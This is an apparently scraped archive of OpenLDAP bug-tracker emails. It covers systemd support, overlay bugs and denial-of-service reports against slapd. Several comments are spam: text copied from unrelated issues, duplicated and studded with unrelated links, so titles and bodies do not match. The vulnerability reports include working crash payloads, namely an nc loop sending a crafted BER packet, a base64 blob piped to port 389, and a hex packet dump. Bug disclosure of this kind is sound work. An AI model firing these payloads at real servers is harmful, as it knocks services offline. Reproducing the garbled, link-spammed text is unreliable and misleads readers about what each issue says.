https://bugs.openldap.org/show_bug.cgi?id=6656 --- Comment #9 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- his overlay provides simple support for allowedAttributes and allowedAttributesEffective, a (somewhat broken) AD feature that http://www-look-4.com/ is intended to help GUIs into determining, based on the current objectClass values of an object, what attributes would comply with the schema (without distinction between "allowed" and "required"), by listing them in http://www.compilatori.com/ "allowedAttributes", and, furthermore, by providing a hint to what of those values could be effectively added by the current connection, by listing them in http://www.wearelondonmade.com/ "allowedAttributesEffective". This is broken since it doesn't consider the possibility of value-dependent ACLs, so it should really be considered just a hint, while the "allowedAttributes" http://www.jopspeech.com/ could really be computed starting from the schema definition, which remains the recommended way to solve the problem http://joerg.li/ So this overlay should really be considered only food for thought as a starting base for a tighter integration of OpenLDAP into Samba4. There's minimal support for "allowedChildClasses" and http://connstr.net/ "allowedChildClassesEffective", whose definition is absolutely obscure to me, as I believe the only classes that can be added to an existing object are all the AUXILIARY ones, while considering what are effectively allowed implies getting into value-dependent ACLs. http://embermanchester.uk/ Some discussion can be found here (follow the thread) his overlay provides simple support for allowedAttributes and allowedAttributesEffective, a (somewhat broken) AD feature that is intended to help GUIs into determining, based on the current objectClass values of an http://www.slipstone.co.uk/ object, what attributes would comply with the schema (without distinction between "allowed" and "required"), by listing them in "allowedAttributes", and, furthermore, by providing a hint to what of http://www.logoarts.co.uk/ those values could be effectively added by the current connection, by listing them in "allowedAttributesEffective". This is broken since it doesn't consider the possibility of value-dependent ACLs, so it should really be considered just a http://www.acpirateradio.co.uk/ hint, while the "allowedAttributes" could really be computed starting from the schema definition, which remains the recommended way to solve the problem So this overlay should really be considered only http://www.acpirateradio.co.uk/ food for thought as a starting base for a tighter integration of OpenLDAP into Samba4. There's minimal support for "allowedChildClasses" and https://waytowhatsnext.com/ "allowedChildClassesEffective", whose definition is absolutely obscure to me, as I believe the only classes that can be added to an existing object are all the AUXILIARY ones, while considering what are effectively allowed implies getting into value-dependent ACLs. https://www.webb-dev.co.uk/ Some discussion can be found here (follow the thread) So I guess my recommendation for the notify call boils down to: rc = sd_notify( 1, "READY=1" ); and a slapd.service along the lines of: [Unit] Description=OpenLDAP server [Service] Type=notify http://www.iu-bloomington.com/ ExecStart=%LIBEXECDIR%/slapd -h 'ldap:/// ldapi:///' -d0 [Install] WantedBy=multi-user.target (basically identical to the example in systemd.service(5).) Side note: the version message from slapd appears in the journal twice, once with the timestamp and once without... -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 6899] Read Entry Control response value is not compliant to definition of SearchResultEntry
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=6899 --- Comment #11 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- > Note that with assertion control always >> Operations error: "unique_search failed" >> is returned even if the attribute values http://www-look-4.com/ are unique. >> >> I'd really like to get this solved. web2ldap makes use of the assertion >> control to ensure that an entry has not been changed since being >> edited by the >> user. Otherwise I have to implement another vendor-specific hack http://www.compilatori.com/ >> switching off >> this feature when OpenLDAP is used as server. :-( > > First step toward a solution would be providing slapd -d output for the > problem. Probably a sample config would help too. http://www.wearelondonmade.com/ (Sigh! Did anybody actually read through my report?) http://www.jopspeech.com/ Take any slapd.conf with database hdb and add these lines (no other overlays configured): overlay unique unique_attributes uid uidNumber employeeNumber http://joerg.li/ Or any other LDAP-URL-based unique constraint... Then apply a LDIF change record (example below) which contains any of the http://connstr.net/ attributes defined as unique (no matter whether unique constraint is violated or not). ------------------------------- snip ------------------------------- dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local changetype: modify replace: employeeNumber http://embermanchester.uk/ employeeNumber: 456 - ------------------------------- snip ------------------------------- Try these commands (bind-DN is the rootdn here): http://www.slipstone.co.uk/ Without assertion control it works: $ ldapmodify -H ldap://localhost:2071 -D "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" http://www.logoarts.co.uk/ Assertion control just contains objectClass filter: $ ldapmodify -H ldap://localhost:2071 -D "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e 'assert=(objectClass=*)' modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" http://www.acpirateradio.co.uk/ This fails: $ ldapmodify -H ldap://localhost:2071 -D "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif -e 'assert=(cn=*)'modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" ldap_modify: Operations error (1) additional info: unique_search failed > Note that with assertion control always >> Operations error: "unique_search failed" https://waytowhatsnext.com/ >> is returned even if the attribute values are unique. >> >> I'd really like to get this solved. web2ldap makes use of the assertion >> control to ensure that an entry has not been changed since being >> edited by the >> user. Otherwise I have to implement another vendor-specific hack >> switching off >> this feature when OpenLDAP is used as server. :-( > > First step toward a solution would be providing slapd -d output for the > problem. Probably a sample config would help too. https://www.webb-dev.co.uk/ (Sigh! Did anybody actually read through my report?) Take any slapd.conf with database hdb and add these lines (no other overlays configured): overlay unique unique_attributes uid uidNumber employeeNumber Or any other LDAP-URL-based unique constraint... Then apply a LDIF change record (example below) which contains any of the attributes defined as unique (no matter whether unique constraint is violated or not). ------------------------------- snip ------------------------------- dn: cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local changetype: modify replace: employeeNumber employeeNumber: 456 - ------------------------------- snip ------------------------------- Try these commands (bind-DN is the rootdn here): Without assertion control it works: $ ldapmodify -H ldap://localhost:2071 -D http://www.iu-bloomington.com/ "uid=diradm,ou=schulung,dc=stroeder,dc=local" -w testsecret -f unique.ldif modifying entry "cn=Anna Blume,ou=Users,ou=schulung,dc=stroeder,dc=local" Assertion control just contains objectClass filter: $ ldapmodify -H ldap://localhost:2071 -D -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9428] New: DoS due to infinite packet processing in slapd
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9428 Issue ID: 9428 Summary: DoS due to infinite packet processing in slapd Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- Processing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

1 5

[Issue 8707] slapd: Add systemd service notification support
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8707 --- Comment #32 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- rocessing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending http://www-look-4.com/ 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 http://www.compilatori.com/ 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 http://www.wearelondonmade.com/ GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield () http://www.jopspeech.com/ at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. http://joerg.li/ (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 http://connstr.net/ #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 http://embermanchester.uk/ #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 http://www.slipstone.co.uk/ #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () http://www.logoarts.co.uk/ at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' http://www.acpirateradio.co.uk/ | timeout 1 nc localhost 1389 & done rocessing of a packet results in the command handling thread becomming stuck in an infinite loop. After sending 32 of theese slapd doesn't respond to any new queries and consumes 100% cpu https://waytowhatsnext.com/ Packet 00000000: 3036 0200 7730 300b 312e 332e 362e 312e 06..w00.1.3.6.1. 00000010: 312e 3881 1030 0130 0030 3030 3030 3030 1.8..0.0.0000000 00000020: 3030 3030 3030 0030 3030 3030 3030 3030 000000.000000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 30 0 GDB backtrace (gdb) thread 3 [Switching to thread 3 (Thread 0x7fff8aad2700 (LWP 12))] #0 0x00007ffff7eb489b in sched_yield ()https://www.webb-dev.co.uk/ at ../sysdeps/unix/syscall-template.S:78 78 ../sysdeps/unix/syscall-template.S: No such file or directory. (gdb) bt #0 0x00007ffff7eb489b in sched_yield () at ../sysdeps/unix/syscall-template.S:78 #1 0x0000555555671671 in ldap_pvt_thread_yield () at thr_posix.c:249 #2 0x00005555555d9255 in cancel_extop (op=0x7fff7c001160, rs=<optimized out>) at cancel.c:143 #3 0x00005555555b449a in fe_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:225 #4 0x00005555555b41c2 in do_extended (op=0x7fff7c001160, rs=0x7fff8aad1a80) at extended.c:175 http://www.iu-bloomington.com/ #5 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c001160) at connection.c:1163 #6 0x0000555555584370 in connection_read_thread (ctx=0x7fff8aad1ba0, argv=0xc) at connection.c:1314 #7 0x0000555555671080 in ldap_int_thread_pool_wrapper (xpool=0x555555799240) at tpool.c:1051 #8 0x00007ffff7faa609 in start_thread (arg=<optimized out>) at pthread_create.c:477 #9 0x00007ffff7ed1293 in clone () at ../sysdeps/unix/sysv/linux/x86_64/clone.S:95 Testing: docker run --privileged -it --net=host --entrypoint gdb phasip/openldap /openldap/servers/slapd/slapd -ex 'set args -h ldap://:1389/ -d 256' -ex 'run' for i in {1..32}; do echo -en '\x30\x36\x02\x00\x77\x30\x30\x0b\x31\x2e\x33\x2e\x36\x2e\x31\x2e\x31\x2e\x38\x81\x10\x30\x01\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x00\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' | timeout 1 nc localhost 1389 & done -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8197] slapo-constraint and delold=0
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8197 --- Comment #2 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- Thanks for working on this! I'm also interested in having this feature. http://www-look-4.com/ What do you think about including a slapd.service file? I know OpenLDAP has traditionally not included an init script, but systemd units are intended to be distro-agnostic as far as possible, http://www.compilatori.com/ and shipped by upstream projects in most cases, unlike init scripts. Ideally I'd like to include a template in the source and have the build system fill in the autoconf'ed path (i.e. to slapd) and have 'make install' install it to the right place. http://www.wearelondonmade.com/ Autoconf bits look fine to me. >+ rc = sd_notifyf( 1, >+ "READY=1\n" >+ "STATUS=slapd: ready to serve connections...\n" http://www.jopspeech.com/ >+ "MAINPID=%lu", >+ (unsigned long) getpid() ); unset_environment=1 seems reasonable, http://joerg.li/ it's a little unfortunate that we can't call (for example) sd_notify("STOPPING=1") afterward, but it feels worthwhile compared to having to sanitize the environment when forking a child process. http://connstr.net/ I'm not sure the STATUS= message adds value compared to just the basic readiness notification; can you comment on why you included it? http://embermanchester.uk/ I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of whether we set Type=forking or Type=notify. Not exactly "needed", but better to have it than not. I see you've placed this call later than the parent's exit point. Any comments about the timing of this relative to the parent's exit, and to the listener startup and so on? Are the listeners more likely to be http://embermanchester.uk/ ready to serve connections at this point? I seem to recall that in the past there was opposition to moving the parent's exit later, but I can't remember why. (and I still wish we could do that, and dispense with the ldapsearch-loop hacks...) http://www.slipstone.co.uk/ Thanks for working on this! I'm also interested in having this feature. What do you think about including a slapd.service file? I know OpenLDAP has traditionally not included an init script, but systemd units are intended to be distro-agnostic as far as possible, http://www.logoarts.co.uk/ and shipped by upstream projects in most cases, unlike init scripts. Ideally I'd like to include a template in the source and have the build system fill in the autoconf'ed path (i.e. to slapd) and have 'make install' install it to the right place. http://www.acpirateradio.co.uk/ Autoconf bits look fine to me. >+ rc = sd_notifyf( 1, >+ "READY=1\n" >+ "STATUS=slapd: ready to serve connections...\n" >+ "MAINPID=%lu", https://waytowhatsnext.com/ >+ (unsigned long) getpid() ); unset_environment=1 seems reasonable, it's a little unfortunate that we can't call (for example) sd_notify("STOPPING=1") afterward, but it feels worthwhile compared to having to sanitize the environment when forking a child process. https://www.webb-dev.co.uk/ I'm not sure the STATUS= message adds value compared to just the basic readiness notification; can you comment on why you included it? I guess MAINPID= is actually needed, unless we run slapd with -d, regardless of whether we set Type=forking or Type=notify. Not exactly "needed", but better to have it than not. http://www.iu-bloomington.com/ I see you've placed this call later than the parent's exit point. Any comments about the timing of this relative to the parent's exit, and to the listener startup and so on? Are the listeners more likely to be ready to serve connections at this point? I seem to recall that in the past there was opposition to moving the parent's exit later, but I can't remember why. (and I still wish we could do that, and dispense with the ldapsearch-loop hacks...) -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 8240] OpenLDAP ber_get_next denial of service vulnerability
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=8240 --- Comment #21 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- List message: When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry but also send delold: 0 in the MODRDN operation. IMO this is most minimal invasive approach. http://www-look-4.com/ This works ok in most setups. But in a more strict setup (release 2.4.41) with slapo-constraint and constraints on the RDN's characteristic attribute those MODRDN requests http://www.compilatori.com/ trigger a constraint and fails with 'Constraint violation' although the RDN value is not changed. I can't tell whether this was different with older OpenLDAP releases. http://www.wearelondonmade.com/ Even more strange: It works with delold: 1. So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not sure whether that's the right general http://www.jopspeech.com/ approach especially when thinking about all the other LDAP servers out there. http://joerg.li/ So the question is: Is this an overzealous misbehaviour of slapo-constraint and should it be fixed therein? List message: http://connstr.net/ When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry but also send delold: 0 in the MODRDN operation. IMO this is most minimal invasive approach. This works ok in most setups. http://embermanchester.uk/ But in a more strict setup (release 2.4.41) with slapo-constraint and constraints on the RDN's characteristic attribute those MODRDN requests trigger a constraint and fails with 'Constraint violation' although the RDN value is not changed. I can't tell whether this was different with older OpenLDAP releases. http://www.slipstone.co.uk/ Even more strange: It works with delold: 1. So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not sure whether that's the right general approach especially when thinking about all the other LDAP servers out there. http://www.logoarts.co.uk/ So the question is: Is this an overzealous misbehaviour of slapo-constraint and should it be fixed therein? List message: http://www.acpirateradio.co.uk/ When bulk-renaming entries in web2ldap I do *not* alter the RDN of the entry but also send delold: 0 in the MODRDN operation. IMO this is most minimal invasive approach. This works ok in most setups. But in a more strict setup (release 2.4.41) with slapo-constraint and https://waytowhatsnext.com/ constraints on the RDN's characteristic attribute those MODRDN requests trigger a constraint and fails with 'Constraint violation' although the RDN value is not changed. I can't tell whether this was different with older OpenLDAP releases. https://www.webb-dev.co.uk/ Even more strange: It works with delold: 1. So I could easily alter web2ldap's behaviour to send delold: 1. But I'm not sure whether that's the right general approach especially when thinking about all the other LDAP servers out there. So the question is: Is this an overzealous misbehaviour of slapo-constraint and should http://www.iu-bloomington.com/ it be fixed therein? -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9202] Should limit depth of nested filters
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9202 --- Comment #10 from Mehmet gelisin <mehmetgelisin(a)aol.com> --- OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details http://www-look-4.com/ a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. http://www.compilatori.com/ By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. http://www.wearelondonmade.com/ +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP http://www.jopspeech.com/ daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: http://joerg.li/ --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. http://connstr.net/ --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 http://embermanchester.uk/ ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next http://www.slipstone.co.uk/ ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. http://www.logoarts.co.uk/ The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] http://www.acpirateradio.co.uk/ 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt https://waytowhatsnext.com/ OpenLDAP ber_get_next Denial of Service Affected Versions: OpenLDAP <= 2.4.42 +-------------+ | Description | +-------------+ This document details a vulnerability found within the OpenLDAP server daemon. A Denial of Service vulnerability was discovered within the slapd daemon, allowing an unauthenticated attacker to crash the OpenLDAP server. https://www.webb-dev.co.uk/ By sending a crafted packet, an attacker may cause the OpenLDAP server to reach an assert(9 9 statement, crashing the daemon. This was tested on OpenLDAP 2.4.42 (built with GCC 4.9.2) and OpenLDAP 2.4.40 installed from the Debian package repository. +--------------+ | Exploitation | +--------------+ By sending a crafted packet, an attacker can cause the OpenLDAP daemon to crash with a SIGABRT. This is due to an assert() call within the ber_get_next method (io.c line 682) that is hit when decoding tampered BER data. The following proof of concept exploit can be used to trigger the condition: http://www.iu-bloomington.com/ --[ Exploit POC echo "/4SEhISEd4MKYj5ZMgAAAC8=" | base64 -d | nc -v 127.0.0.1 389 The above causes slapd to abort as follows when running with '-d3', however it should be noted that this will crash the server even when running in daemon mode. --[ adadp -d3 55f0b36e slap_listener_activate(7): 55f0b36e >>> slap_listener(ldap:///) 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=8, got=8 0000: ff 84 84 84 84 84 77 83 ......w. 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next ldap_read: want=1, got=1 0000: 0a . 55f0b36e connection_get(15): got connid=1000 55f0b36e connection_read(15): checking for input on id=1000 ber_get_next slapd: io.c:682: ber_get_next: Assertion `0' failed. The following GDB back trace provides further information as to the location of the issue. --[ back trace program received signal SIGABRT, Aborted. [Switching to Thread 0x7ffff2e4a700 (LWP 1371)] 0x00007ffff6a13107 in __GI_raise (sig=sig@entry=6) at ../nptl/sysdeps/unix/sysv/linux/raise.c:56 56 ../nptl/sysdeps/ux%x/sysv/linux/raise.c: No such file or directory. (gdb) bt -- You are receiving this mail because: You are on the CC list for the issue.

1 0

[Issue 9454] New: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime)
by openldap-its＠openldap.org 11 Sep '21

11 Sep '21

https://bugs.openldap.org/show_bug.cgi?id=9454 Issue ID: 9454 Summary: A malicious packet can force OpenLDAP to fail an assertion and crash (schema_init.c:3808: checkTime) Product: OpenLDAP Version: unspecified Hardware: All OS: All Status: UNCONFIRMED Severity: normal Priority: --- Component: slapd Assignee: bugs(a)openldap.org Reporter: phasip(a)gmail.com Target Milestone: --- A malicious packet can force OpenLDAP to fail an assertion and crash slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Packet: 00000000: 3082 016a 0201 3063 30df df30 0030 0030 0..j..0c0..0.0.0 00000010: 0030 0030 0030 00a0 8201 3030 0030 0930 .0.0.0....00.0.0 00000020: 3030 3030 3030 3030 302e 3030 3030 3030 000000000.000000 00000030: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000040: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000050: 3030 3030 3030 3030 a930 8109 322e 352e 00000000.0..2.5. 00000060: 3133 2e33 3883 2e7b 2020 2020 7468 6973 13.38..{ this 00000070: 5570 6461 7465 2020 2020 2022 2220 2c69 Update "" ,i 00000080: 7373 7545 7220 7264 6e53 6571 7565 6e63 ssuEr rdnSequenc 00000090: 653a 2222 7d30 3030 3030 3030 3030 3030 e:""}00000000000 000000a0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000b0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000c0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000d0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000e0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 000000f0: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000100: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000110: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000120: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000130: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000140: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000150: 3030 3030 3030 3030 3030 3030 3030 3030 0000000000000000 00000160: 3030 3030 3030 3030 3030 3030 3030 00000000000000 GDB output: [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". 601e59e1 @(#) $OpenLDAP: slapd 2.X (Feb 6 2021 08:48:29) $ @3790967905a3:/openldap/servers/slapd 601e59e1 slapd starting [New Thread 0x7fff8b2d3700 (LWP 13)] [New Thread 0x7fff8aad2700 (LWP 14)] 601e59e6 conn=1000 fd=11 ACCEPT from IP=127.0.0.1:42330 (IP=0.0.0.0:1389) [New Thread 0x7fff8a2d1700 (LWP 15)] 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 601e59e6 get_filter: unknown filter type=48 slapd: schema_init.c:3808: checkTime: Assertion `!BER_BVISEMPTY( in )' failed. Thread 3 "slapd" received signal SIGABRT, Aborted. [Switching to Thread 0x7fff8aad2700 (LWP 14)] __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 50 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory. (gdb) bt #0 __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50 #1 0x00007ffff7dd4859 in __GI_abort () at abort.c:79 #2 0x00007ffff7dd4729 in __assert_fail_base ( fmt=0x7ffff7f6a588 "%s%s%s:%u: %s%sAssertion `%s' failed.\n%n", assertion=0x55555568d363 "!BER_BVISEMPTY( in )", file=0x55555568d2f3 "schema_init.c", line=3808, function=<optimized out>) at assert.c:92 #3 0x00007ffff7de5f36 in __GI___assert_fail ( assertion=assertion@entry=0x55555568d363 "!BER_BVISEMPTY( in )", file=file@entry=0x55555568d2f3 "schema_init.c", line=line@entry=3808, function=function@entry=0x5555556908f0 <__PRETTY_FUNCTION__.14047> "checkTime") at assert.c:101 #4 0x00005555555bac61 in checkTime (in=in@entry=0x7fff8aad06f0, out=out@entry=0x0) at schema_init.c:3808 #5 0x00005555555bcd1a in issuerAndThisUpdatePretty (syntax=0x555555784150, in=0x7fff8aad0800, out=0x7fff8aad0770, ctx=0x7fff7c001630) at schema_init.c:4095 #6 0x000055555559df4d in asserted_value_validate_normalize (ad=0x0, mr=0x555555789e50, usage=usage@entry=2049, in=in@entry=0x7fff8aad0800, out=out@entry=0x7fff8aad0828, text=text@entry=0x7fff8aad1aa0, ctx=0x7fff7c001630) at value.c:153 #7 0x00005555555d3a94 in get_mra (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad08c0, --Type <RET> for more, q to quit, c to continue without paging-- text=text@entry=0x7fff8aad1aa0) at mra.c:198 #8 0x0000555555587543 in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, filt=filt@entry=0x7fff7c0016e8, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:290 #9 0x0000555555587793 in get_filter_list (op=op@entry=0x7fff7c0010f0, ber=ber@entry=0x7fff7c000f10, f=f@entry=0x7fff8aad0988, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=1) at filter.c:354 #10 0x000055555558731e in get_filter0 (op=op@entry=0x7fff7c0010f0, ber=0x7fff7c000f10, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0, depth=depth@entry=0) at filter.c:235 #11 0x00005555555880b6 in get_filter (op=op@entry=0x7fff7c0010f0, ber=<optimized out>, filt=filt@entry=0x7fff7c001170, text=text@entry=0x7fff8aad1aa0) at filter.c:332 #12 0x0000555555585396 in do_search (op=0x7fff7c0010f0, rs=0x7fff8aad1a80) at search.c:127 #13 0x0000555555583d09 in connection_operation (ctx=ctx@entry=0x7fff8aad1ba0, arg_v=0x7fff7c0010f0) at 